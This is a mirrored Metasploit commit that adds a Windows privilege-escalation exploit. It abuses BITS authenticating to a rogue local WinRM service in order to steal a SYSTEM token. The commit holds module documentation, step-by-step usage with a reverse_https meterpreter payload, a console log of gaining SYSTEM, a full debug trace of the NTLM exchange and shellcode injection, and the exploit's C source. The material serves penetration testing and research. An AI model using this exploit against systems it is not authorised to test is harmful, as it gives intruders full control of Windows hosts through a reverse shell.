mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
Land #14046, Adding juicypotato-like privilege escalation exploit for windows
This commit is contained in:
commit
17c393f101
4
LICENSE
4
LICENSE
@ -123,6 +123,10 @@ Files: data/jtr/*
|
||||
Copyright: Copyright 1996-2013 by Solar Designer
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
|
||||
Copyright: 2011 Jon Bringhurst
|
||||
License: GNU GPL 2.0
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
BIN
data/exploits/drunkpotato/drunkpotato.x64.dll
Executable file
BIN
data/exploits/drunkpotato/drunkpotato.x64.dll
Executable file
Binary file not shown.
BIN
data/exploits/drunkpotato/drunkpotato.x86.dll
Executable file
BIN
data/exploits/drunkpotato/drunkpotato.x86.dll
Executable file
Binary file not shown.
@ -0,0 +1,258 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Windows 10 and Windows servers where WinRM is not running.
|
||||
|
||||
Labs experiment has shown that Windows 7 is not vulnerable because BITS service does not attempt to shoot on
|
||||
WinRM port (see **Module Description** section of this document). Windows XP has not been tested, but if Windows 7 is not
|
||||
vulnerable, it is likely neither its case.
|
||||
|
||||
Regarding Windows 10 and Windows servers, **the availability of port 5985 is a necessary and sufficient condition for
|
||||
being vulnerable**.
|
||||
|
||||
This module exploits BITS behavior which tries to authenticate on local WinRM server (port 5985) even if this service is not running.
|
||||
As this module runs a fake service on WinRM port to steal a SYSTEM token, this port must be available.
|
||||
However, please note that WinRM service is natively running on windows servers preventing to run this exploit successfully.
|
||||
|
||||
Nevertheless, if WinRM service is disabled by an admin, or just killed, the operating system becomes vulnerable.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. get a meterpreter session which has either SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privilege.
|
||||
1. Do: `use exploits/windows/local/bits_ntlm_token_impersonation`
|
||||
1. Do: `set SESSION <previous meterpreter session>`
|
||||
1. Do: `set PAYLOAD windows/meterpreter/reverse_https`
|
||||
1. Do: `set LHOST <your ip>`
|
||||
1. Do: `set LPORT <your port>`
|
||||
1. Do: `exploit`
|
||||
1. A new meterpreter session should pop.
|
||||
|
||||
## Options
|
||||
|
||||
HOST_PROCESS → The process which will be launched as SYSTEM and execute metasploit shellcode.
|
||||
This process should normally be hidden because launched without graphical interface. However, during lab experiments, some
|
||||
processes has shown persistent screen effects. For instance, experiments with calc.exe was tested and a
|
||||
buggy unresponsive window appeared and persisted until next reboot. Default choice is notepad.exe and it has not shown any
|
||||
screen effects during lab experiments.
|
||||
|
||||
SESSION → index of the previous meterpreter session in through of which the exploit will be run.
|
||||
|
||||
SHUTDOWN_SERVICES → This boolean determines if ruby module should attempt to terminate WinRM and BITS if they
|
||||
are found running. Indeed, both services must be down for the exploit to succeed (WinRM because we want to put a fake WinRM
|
||||
service listening on its port, and BITS because the vulnerable behavior occurs at its startup). Default value is false for
|
||||
multiple reasons. First the exploit is designed to wait for BITS to terminate by itself and you may get a shell even if it is
|
||||
still running at the end of check. Secondly, in common usecases (previous meterpreter session running as LOCAL SERVICE), you
|
||||
don't have sufficient privileges to do that. You only can do it if you are in administrator group. Thirdly, attempting to
|
||||
terminate a service may trigger antiviruses, may be logged and may cause problems on the target system.
|
||||
|
||||
WINRM_RPORT → Port on which the exploit impersonating a genuine WinRM service will listen on remote target. Default
|
||||
value is default WinRM port (5985). However, in some Windows configuration, WinRM default port can be set to 47001. This is
|
||||
the case for instance if no WinRM listener is set. More information regarding this here:
|
||||
https://docs.microsoft.com/en-us/windows/win32/winrm/obtaining-data-from-the-local-computer
|
||||
If the exploit fails, you may want to try other ports commonly used by WinRM.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Let's assume you have in any way compromised a service process such as IIS for instance. So your meterpreter session should
|
||||
look like this:
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-5VBUUE9
|
||||
OS : Windows 10 (10.0 Build 18362).
|
||||
Architecture : x64
|
||||
System Language : fr_FR
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\LOCAL SERVICE
|
||||
```
|
||||
|
||||
By default, service users hold the SE_IMPERSONATE_NAME privilege so this exploit is mainly designed to escalate from
|
||||
a service account to local system. Lab experiments has shown it works for both LOCAL SERVICE and NETWORK SERVICE:
|
||||
|
||||
```
|
||||
msf6 exploit(exploit/multi/handler) > use exploit/windows/local/bits_ntlm_token_impersonation
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/local/bits_ntlm_token_impersonation) > set payload windows/x64/meterpreter/reverse_https
|
||||
payload => windows/x64/meterpreter/reverse_https
|
||||
|
||||
msf6 exploit(windows/local/bits_ntlm_token_impersonation) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://192.168.1.33:443
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[!] BITS is currently running. It must be down for the exploit to succeed.
|
||||
[!] BITS is running. Don't panic, the exploit should handle this, but you have to wait for BITS to terminate.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Launching notepad to host the exploit...
|
||||
[+] Process 5044 launched.
|
||||
[*] Injecting exploit into 5044...
|
||||
[*] Exploit injected. Injecting payload into 5044...
|
||||
[*] Payload injected. Executing exploit...
|
||||
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
||||
[*] https://192.168.1.33:444 handling request from 192.168.1.248; (UUID: fsjcbuvp) Staging x64 payload (201308 bytes) ...
|
||||
[*] Meterpreter session 2 opened (192.168.1.33:444 -> 192.168.1.248:51077) at 2020-12-11 08:56:29 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
|
||||
|
||||
## Module Description
|
||||
|
||||
This module exploits BITS behavior which tries to connect to the local Windows Remote Management server (WinRM) every times it starts.
|
||||
The exploit dll (loaded through a previous unprivilegied meterpreter session) launches a fake WinRM server which listens
|
||||
on port 5985 and triggers BITS.
|
||||
When BITS starts, it tries to authenticate to the Rogue WinRM server, which allows to steal a SYSTEM token.
|
||||
This token is then used to launch a new process as SYSTEM user.
|
||||
In the case of this exploit, an invisible notepad is launched and shellcode is written inside and executed.
|
||||
Thus, this exploit doesn't write any file on the disk.
|
||||
|
||||
This exploit has been discovered by Antonio Cocomazzi, Andrea Pierini and Roberto (0xea31) and it has been implemented in
|
||||
metasploit on the basis of their proof of concept available on their github repository:
|
||||
|
||||
https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
|
||||
https://github.com/antonioCoco/RogueWinRM
|
||||
|
||||
This exploit has been successfully tested on :
|
||||
- Windows 10 (10.0 Build 19041) 32 bits
|
||||
- Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits
|
||||
|
||||
This exploit failed because of no BITS authentication attempt on:
|
||||
- Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits
|
||||
|
||||
## Warnings
|
||||
|
||||
- **SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are required.**
|
||||
- **WinRM and in a lesser extent BITS must not be running.**
|
||||
- As this dll exploit runs a service on the target (Fake WinRM on port 5985),
|
||||
a firewall popup may appear on target screen. Thus, this exploit is not completely silent.
|
||||
- Windows servers are not vulnerable because a genuine WinRM service is already running.
|
||||
|
||||
## Debugging
|
||||
|
||||
You may want to debug or reverse engineer this exploit. You need first to compile the dll sources with DEBUGTRACE flag.
|
||||
Then, when launching the exploit, you can get runtime debug messages. Here are complete debug messages during a successful exploitation:
|
||||
|
||||
```
|
||||
1 0.00000000 [7188] [dllmain] Entry point.
|
||||
2 0.00020640 [7188] [extract_metasploit_data] WinRM port: 5985
|
||||
3 0.00035820 [7188] [extract_metasploit_data] Process to launch: notepad.exe
|
||||
4 0.00039800 [7188] [extract_metasploit_data] shellcode length: 626
|
||||
5 0.00055150 [7188] [createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...
|
||||
6 0.00128340 [7188] [EnablePriv] SUCCESS: Privilege enabled.
|
||||
7 0.00360550 [7188] [startListener] SUCCESS: WSAStartup initialized
|
||||
8 0.00363250 [7188] [startListener] SUCCESS: getaddrinfo initialized. host:127.0.0.1, port: 5985
|
||||
9 0.00439900 [7188] [startListener] SUCCESS: socket created.
|
||||
10 0.00447850 [7188] [startListener] SUCCESS: socket bound.
|
||||
11 0.00449390 [7188] [startListener] SUCCESS: socket is now listening for incoming connexions.
|
||||
12 1.00682116 [7188] [isBitsRunning] Checking if BITS is running (It should not)...
|
||||
13 1.00756419 [7188] [isBitsRunning] SUCCESS: BITS is not running.
|
||||
14 1.00760865 [7188] [triggerBits] Attempting to start BITS...
|
||||
15 1.27990735 [7188] [startListener] SUCCESS: socket accept stage successful.
|
||||
16 1.27999246 [7188] [handleListener] Rogue WinRM service now listening for connection on port 5985.
|
||||
17 1.28006208 [7188] [handleNTLMPConnection] Received http negotiate request.
|
||||
18 1.28009701 [7188] [hexDump] Hexdump of packet:
|
||||
19 1.28023875 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
|
||||
20 1.28033876 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
|
||||
21 1.28043485 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
|
||||
22 1.28052747 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
|
||||
23 1.28062499 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
|
||||
24 1.28071892 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
|
||||
25 1.28080654 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
|
||||
26 1.28090227 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 59 47 77 47 42 69 Negotiate YGwGBi
|
||||
27 1.28100324 [7188] [hexDump] 0080 73 47 41 51 55 46 41 71 42 69 4d 47 43 67 47 6a sGAQUFAqBiMGCgGj
|
||||
28 1.28108621 [7188] [hexDump] 0090 41 59 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 AYBgorBgEEAYI3Ag
|
||||
29 1.28115559 [7188] [hexDump] 00a0 49 4b 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 IKBgorBgEEAYI3Ag
|
||||
30 1.28125131 [7188] [hexDump] 00b0 49 65 6f 6b 49 45 51 45 35 55 54 45 31 54 55 31 IeokIEQE5UTE1TU1
|
||||
31 1.28134823 [7188] [hexDump] 00c0 41 41 41 51 41 41 41 4c 65 79 43 4f 49 4a 41 41 AAAQAAALeyCOIJAA
|
||||
32 1.28144515 [7188] [hexDump] 00d0 6b 41 4e 77 41 41 41 41 38 41 44 77 41 6f 41 41 kANwAAAA8ADwAoAA
|
||||
33 1.28154385 [7188] [hexDump] 00e0 41 41 43 67 43 36 52 77 41 41 41 41 39 45 52 56 AACgC6RwAAAA9ERV
|
||||
34 1.28162599 [7188] [hexDump] 00f0 4e 4c 56 45 39 51 4c 54 56 57 51 6c 56 56 52 54 NLVE9QLTVWQlVVRT
|
||||
35 1.28167975 [7188] [hexDump] 0100 6c 58 54 31 4a 4c 52 31 4a 50 56 56 41 3d 0d 0a lXT1JLR1JPVVA=..
|
||||
36 1.28172791 [7188] [hexDump] 0110 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
|
||||
37 1.28177559 [7188] [hexDump] 0120 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
|
||||
38 1.28182483 [7188] [hexDump] 0130 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
|
||||
39 1.28187311 [7188] [hexDump] 0140 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
|
||||
40 1.28192329 [7188] [hexDump] 0150 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
|
||||
41 1.28192329 [7188]
|
||||
42 1.28198123 [7188] [processNtlmBytes] -- handleType1 start --
|
||||
43 1.28448606 [7188] [HandleType1] Result of AcceptSecurityContext() = status: 0x90312--
|
||||
44 1.28453183 [7188] [processNtlmBytes] -- handleType1 end --
|
||||
45 1.28457534 [7188] [forge_ntlmssp_challenge_responses] Forging http response type2 packet...
|
||||
46 1.28464592 [7188] [hexDump] Hexdump of packet:
|
||||
47 1.28471112 [7188] [hexDump] 0000 48 54 54 50 2f 31 2e 31 20 34 30 31 20 0d 0a 57 HTTP/1.1 401 ..W
|
||||
48 1.28477061 [7188] [hexDump] 0010 57 57 2d 41 75 74 68 65 6e 74 69 63 61 74 65 3a WW-Authenticate:
|
||||
49 1.28485692 [7188] [hexDump] 0020 20 4e 65 67 6f 74 69 61 74 65 20 6f 59 49 42 43 Negotiate oYIBC
|
||||
50 1.28487158 [7188] [hexDump] 0030 7a 43 43 41 51 65 67 41 77 6f 42 41 61 45 4d 42 zCCAQegAwoBAaEMB
|
||||
51 1.28495753 [7188] [hexDump] 0040 67 6f 72 42 67 45 45 41 59 49 33 41 67 49 4b 6f gorBgEEAYI3AgIKo
|
||||
52 1.28498507 [7188] [hexDump] 0050 6f 48 78 42 49 48 75 54 6c 52 4d 54 56 4e 54 55 oHxBIHuTlRMTVNTU
|
||||
53 1.28507006 [7188] [hexDump] 0060 41 41 43 41 41 41 41 48 67 41 65 41 44 67 41 41 AACAAAAHgAeADgAA
|
||||
54 1.28509665 [7188] [hexDump] 0070 41 41 31 77 6f 72 69 6f 34 36 75 39 5a 6c 55 6e AA1worio46u9ZlUn
|
||||
55 1.28518021 [7188] [hexDump] 0080 6f 63 4c 41 41 45 41 41 41 41 41 41 4a 67 41 6d ocLAAEAAAAAAJgAm
|
||||
56 1.28520679 [7188] [hexDump] 0090 41 42 57 41 41 41 41 43 67 43 36 52 77 41 41 41 ABWAAAACgC6RwAAA
|
||||
57 1.28528929 [7188] [hexDump] 00a0 41 39 45 41 45 55 41 55 77 42 4c 41 46 51 41 54 A9EAEUAUwBLAFQAT
|
||||
58 1.28532350 [7188] [hexDump] 00b0 77 42 51 41 43 30 41 4e 51 42 57 41 45 49 41 56 wBQAC0ANQBWAEIAV
|
||||
59 1.28540862 [7188] [hexDump] 00c0 51 42 56 41 45 55 41 4f 51 41 43 41 42 34 41 52 QBVAEUAOQACAB4AR
|
||||
60 1.28544271 [7188] [hexDump] 00d0 41 42 46 41 46 4d 41 53 77 42 55 41 45 38 41 55 ABFAFMASwBUAE8AU
|
||||
61 1.28552401 [7188] [hexDump] 00e0 41 41 74 41 44 55 41 56 67 42 43 41 46 55 41 56 AAtADUAVgBCAFUAV
|
||||
62 1.28554428 [7188] [hexDump] 00f0 51 42 46 41 44 6b 41 41 51 41 65 41 45 51 41 52 QBFADkAAQAeAEQAR
|
||||
63 1.28563356 [7188] [hexDump] 0100 51 42 54 41 45 73 41 56 41 42 50 41 46 41 41 4c QBTAEsAVABPAFAAL
|
||||
64 1.28566802 [7188] [hexDump] 0110 51 41 31 41 46 59 41 51 67 42 56 41 46 55 41 52 QA1AFYAQgBVAFUAR
|
||||
65 1.28575194 [7188] [hexDump] 0120 51 41 35 41 41 51 41 48 67 42 45 41 45 55 41 55 QA5AAQAHgBEAEUAU
|
||||
66 1.28578627 [7188] [hexDump] 0130 77 42 4c 41 46 51 41 54 77 42 51 41 43 30 41 4e wBLAFQATwBQAC0AN
|
||||
67 1.28586805 [7188] [hexDump] 0140 51 42 57 41 45 49 41 56 51 42 56 41 45 55 41 4f QBWAEIAVQBVAEUAO
|
||||
68 1.28590250 [7188] [hexDump] 0150 51 41 44 41 42 34 41 52 41 42 46 41 46 4d 41 53 QADAB4ARABFAFMAS
|
||||
69 1.28598428 [7188] [hexDump] 0160 77 42 55 41 45 38 41 55 41 41 74 41 44 55 41 56 wBUAE8AUAAtADUAV
|
||||
70 1.28601146 [7188] [hexDump] 0170 67 42 43 41 46 55 41 56 51 42 46 41 44 6b 41 42 gBCAFUAVQBFADkAB
|
||||
71 1.28608716 [7188] [hexDump] 0180 77 41 49 41 47 73 53 5a 71 37 62 7a 74 59 42 41 wAIAGsSZq7bztYBA
|
||||
72 1.28613508 [7188] [hexDump] 0190 41 41 41 41 41 3d 3d 0d 0a 53 65 72 76 65 72 3a AAAAA==..Server:
|
||||
73 1.28618777 [7188] [hexDump] 01a0 20 4d 69 63 72 6f 73 6f 66 74 2d 48 54 54 50 41 Microsoft-HTTPA
|
||||
74 1.28620350 [7188] [hexDump] 01b0 50 49 2f 32 2e 30 0d 0a 43 6f 6e 74 65 6e 74 2d PI/2.0..Content-
|
||||
75 1.28625381 [7188] [hexDump] 01c0 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a 00 00 Length: 0......
|
||||
76 1.28625381 [7188]
|
||||
77 1.28628480 [7188] [handleNTLMPConnection] Sending the 401 http response with ntlm type 2 challenge...
|
||||
78 1.28635943 [7188] [handleNTLMPConnection] 401 http response sent.
|
||||
79 1.28725624 [7188] [handleNTLMPConnection] SUCCESS: Received http packet with ntlm type3 response.
|
||||
80 1.28733253 [7188] [hexDump] Hexdump of packet:
|
||||
81 1.28734791 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
|
||||
82 1.28743696 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
|
||||
83 1.28746414 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
|
||||
84 1.28755128 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
|
||||
85 1.28757834 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
|
||||
86 1.28766000 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
|
||||
87 1.28767395 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
|
||||
88 1.28775859 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 6f 58 63 77 64 61 Negotiate oXcwda
|
||||
89 1.28778541 [7188] [hexDump] 0080 41 44 43 67 45 42 6f 6c 6f 45 57 45 35 55 54 45 ADCgEBoloEWE5UTE
|
||||
90 1.28787005 [7188] [hexDump] 0090 31 54 55 31 41 41 41 77 41 41 41 41 41 41 41 41 1TU1AAAwAAAAAAAA
|
||||
91 1.28789675 [7188] [hexDump] 00a0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
|
||||
92 1.28798091 [7188] [hexDump] 00b0 41 41 41 41 41 41 57 41 41 41 41 41 41 41 41 41 AAAAAAWAAAAAAAAA
|
||||
93 1.28800118 [7188] [hexDump] 00c0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
|
||||
94 1.28809083 [7188] [hexDump] 00d0 41 41 41 41 41 41 57 41 41 41 41 44 58 43 69 4f AAAAAAWAAAADXCiO
|
||||
95 1.28811765 [7188] [hexDump] 00e0 49 4b 41 4c 70 48 41 41 41 41 44 79 65 33 4e 77 IKALpHAAAADye3Nw
|
||||
96 1.28817153 [7188] [hexDump] 00f0 34 39 70 77 2f 4f 35 37 6d 67 42 70 66 51 59 57 49pw/O57mgBpfQYW
|
||||
97 1.28822196 [7188] [hexDump] 0100 4b 6a 45 67 51 51 41 51 41 41 41 4f 6e 6d 38 2b KjEgQQAQAAAOnm8+
|
||||
98 1.28828132 [7188] [hexDump] 0110 45 37 77 57 65 36 41 41 41 41 41 41 3d 3d 0d 0a E7wWe6AAAAAA==..
|
||||
99 1.28834140 [7188] [hexDump] 0120 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
|
||||
100 1.28840005 [7188] [hexDump] 0130 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
|
||||
101 1.28845811 [7188] [hexDump] 0140 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
|
||||
102 1.28851688 [7188] [hexDump] 0150 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
|
||||
103 1.28857553 [7188] [hexDump] 0160 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
|
||||
104 1.28857553 [7188]
|
||||
105 1.28861415 [7188] [handleNTLMPConnection] Using ntlm type3 response in AcceptSecurityContext()...
|
||||
106 1.28866363 [7188] [processNtlmBytes] -- handleType3 start --
|
||||
107 1.28932333 [7188] [HandleType3] Result of AcceptSecurityContext() = status: 0x0--
|
||||
108 1.28935909 [7188] [processNtlmBytes] -- handleType3 end --
|
||||
109 1.28939426 [7188] [handleNTLMPConnection] Shutting down RogueWinRM service properly...
|
||||
110 1.28953993 [7188] [handleNTLMPConnection] RogueWinRM service is now down.
|
||||
111 1.32062924 [7188] [triggerBits] SUCCESS: BITS triggered!
|
||||
112 1.32064247 [7188] [RunRogueWinRM] authresult 0
|
||||
113 1.32069910 [7188] [IsTokenSystem] Checking if token is SYSTEM...
|
||||
114 1.32073796 [7188] [IsTokenSystem] SUCCESS: Token is SYSTEM.
|
||||
115 1.32080293 [7188] [RunRogueWinRM] Launching new process through CreateProcessWithTokenW().
|
||||
116 1.32268882 [7188] [RunRogueWinRM] SUCCESS: target process launched as SYSTEM.
|
||||
117 1.32270396 [7188] [RunRogueWinRM] Attempting to allocate executable memory space in spawned process...
|
||||
118 1.32278264 [7188] [RunRogueWinRM] SUCCESS: executable memory space successfully allocated.
|
||||
119 1.32282817 [7188] [RunRogueWinRM] Attempting to write shellcode in spawned process...
|
||||
120 1.32286501 [7188] [RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.
|
||||
121 1.32288563 [7188] [RunRogueWinRM] Attempting to trigger shellcode from spawned process...
|
||||
122 1.32295120 [7188] [RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.
|
||||
123 1.32297337 [7188] [dllmain] Exit status: 0
|
||||
```
|
223
external/source/exploits/drunkpotato/Common_Src_Files/LocalNegotiator.c
vendored
Normal file
223
external/source/exploits/drunkpotato/Common_Src_Files/LocalNegotiator.c
vendored
Normal file
@ -0,0 +1,223 @@
|
||||
/**
|
||||
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
|
||||
in particular for the local negotiator.
|
||||
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
|
||||
for how I emulated a class in pure C.
|
||||
|
||||
The local negotiator is an object used to handle security an client-server negotiation data. In this
|
||||
exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
|
||||
obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
|
||||
*/
|
||||
|
||||
#include "pch.h"
|
||||
|
||||
|
||||
/**
|
||||
Constructor of the LocalNegotiator class. Setup the addresses of class methods,
|
||||
and initialize some arguments
|
||||
|
||||
@param LocalNegotiator* this Address of the instantiated object.
|
||||
*/
|
||||
void Init(LocalNegotiator* this)
|
||||
{
|
||||
/* Cleaning everything. This is not very useful as we calloc-ed LocalNegotiator,
|
||||
but this is in the case somebody would reuse this function or change the code elswhere.*/
|
||||
ZeroMemory(this, sizeof(LocalNegotiator));
|
||||
|
||||
// linking of class methods
|
||||
this->destruct = &destructNegotiator;
|
||||
this->processNtlmBytes = &processNtlmBytes;
|
||||
this->handleType1 = &HandleType1;
|
||||
this->handleType3 = &HandleType3;
|
||||
this->returnType2 = &ReturnType2;
|
||||
|
||||
// Initialization of attributes
|
||||
this->phContext = (PCtxtHandle)calloc(1, sizeof(CtxtHandle));
|
||||
|
||||
this->authResult = -1;
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
destructor of the LocalNegotiator Class. Free allocated memory
|
||||
|
||||
@param LocalNegotiator* this Address of the instantiated object.
|
||||
*/
|
||||
void destructNegotiator(LocalNegotiator* this)
|
||||
{
|
||||
free(this->phContext);
|
||||
this->phContext = NULL;
|
||||
free(this);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
This static function is a router which process NTLM request bytes according to if it is a
|
||||
NTLM 1 or 3 request (for calling a security context through handleType in localNegotiator
|
||||
object.
|
||||
|
||||
@param LocalNegotiator* this Address of negotiator object
|
||||
@param char* ntlmBytes Address of buffer hosting raw bytes of NTLM request
|
||||
@param unsigned short len Length of previous buffer argument
|
||||
|
||||
@return int Error code. 0 for success.
|
||||
*/
|
||||
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
|
||||
{
|
||||
int messageType = ntlmBytes[8];
|
||||
|
||||
switch (messageType)
|
||||
{
|
||||
case 1:
|
||||
//NTLM type 1 message
|
||||
dprintf("[processNtlmBytes] -- handleType1 start --");
|
||||
this->handleType1(this, ntlmBytes, len);
|
||||
dprintf("[processNtlmBytes] -- handleType1 end --");
|
||||
break;
|
||||
case 3:
|
||||
//NTLM type 3 message
|
||||
dprintf("[processNtlmBytes] -- handleType3 start --");
|
||||
this->handleType3(this, ntlmBytes, len);
|
||||
dprintf("[processNtlmBytes] -- handleType3 end --");
|
||||
break;
|
||||
default:
|
||||
dprintf("[processNtlmBytes] ERROR: unknown NTLM message type...");
|
||||
return -1;
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Process the data sent by the first request of BITS server (ntlmBytes)
|
||||
by creating a security context stored in the local negotiator instance.
|
||||
|
||||
@param LocalNegotiator* this Address of the instantiated object.
|
||||
@param char* ntlmBytes packet sent by BITS server
|
||||
@param unsigned short len length of packet sent by BITS (length of prev argument)
|
||||
|
||||
@return int Error code. 0 for success.
|
||||
*/
|
||||
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
|
||||
{
|
||||
int status = -1;
|
||||
LPSTR lpPackageName = "Negotiate";
|
||||
TimeStamp ptsExpiry;
|
||||
TimeStamp tsContextExpiry;
|
||||
ULONG fContextAttr;
|
||||
|
||||
status = AcquireCredentialsHandleA
|
||||
(
|
||||
NULL,
|
||||
lpPackageName,
|
||||
SECPKG_CRED_INBOUND,
|
||||
NULL,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
&this->hCred,
|
||||
&ptsExpiry
|
||||
);
|
||||
|
||||
if (status != SEC_E_OK)
|
||||
{
|
||||
dprintf("[HandleType1] ERROR: AcquireCredentialsHandleA return value: 0x%x", status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
|
||||
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
|
||||
|
||||
this->secClientBuffer.cbBuffer = len;
|
||||
this->secClientBuffer.pvBuffer = ntlmBytes;
|
||||
|
||||
status = AcceptSecurityContext
|
||||
(
|
||||
&this->hCred,
|
||||
NULL,
|
||||
&this->secClientBufferDesc,
|
||||
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||
SECURITY_NATIVE_DREP,
|
||||
this->phContext,
|
||||
&this->secServerBufferDesc,
|
||||
&fContextAttr,
|
||||
&tsContextExpiry
|
||||
);
|
||||
|
||||
dprintf("[HandleType1] Result of AcceptSecurityContext() = status: 0x%x--", status);
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Process the data sent by the second request of BITS server, when it answer to the challenge-response
|
||||
proposed by the rogue WinRM service (elevatorService.c) by creating a security context stored in the
|
||||
local negotiator instance. This security context will be used later to steal a SYSTEM token.
|
||||
|
||||
@param LocalNegotiator* this Address of the instantiated object.
|
||||
@param char* ntlmBytes packet sent by BITS server
|
||||
@param unsigned short len length of packet sent by BITS (length of prev argument)
|
||||
|
||||
@return int Error code. 0 for success.
|
||||
*/
|
||||
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
|
||||
{
|
||||
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
|
||||
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
|
||||
|
||||
this->secClientBuffer.cbBuffer = len;
|
||||
this->secClientBuffer.pvBuffer = ntlmBytes;
|
||||
|
||||
ULONG fContextAttr;
|
||||
TimeStamp tsContextExpiry;
|
||||
int status = AcceptSecurityContext
|
||||
(
|
||||
&this->hCred,
|
||||
this->phContext,
|
||||
&this->secClientBufferDesc,
|
||||
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||
SECURITY_NATIVE_DREP,
|
||||
this->phContext,
|
||||
&this->secServerBufferDesc,
|
||||
&fContextAttr,
|
||||
&tsContextExpiry
|
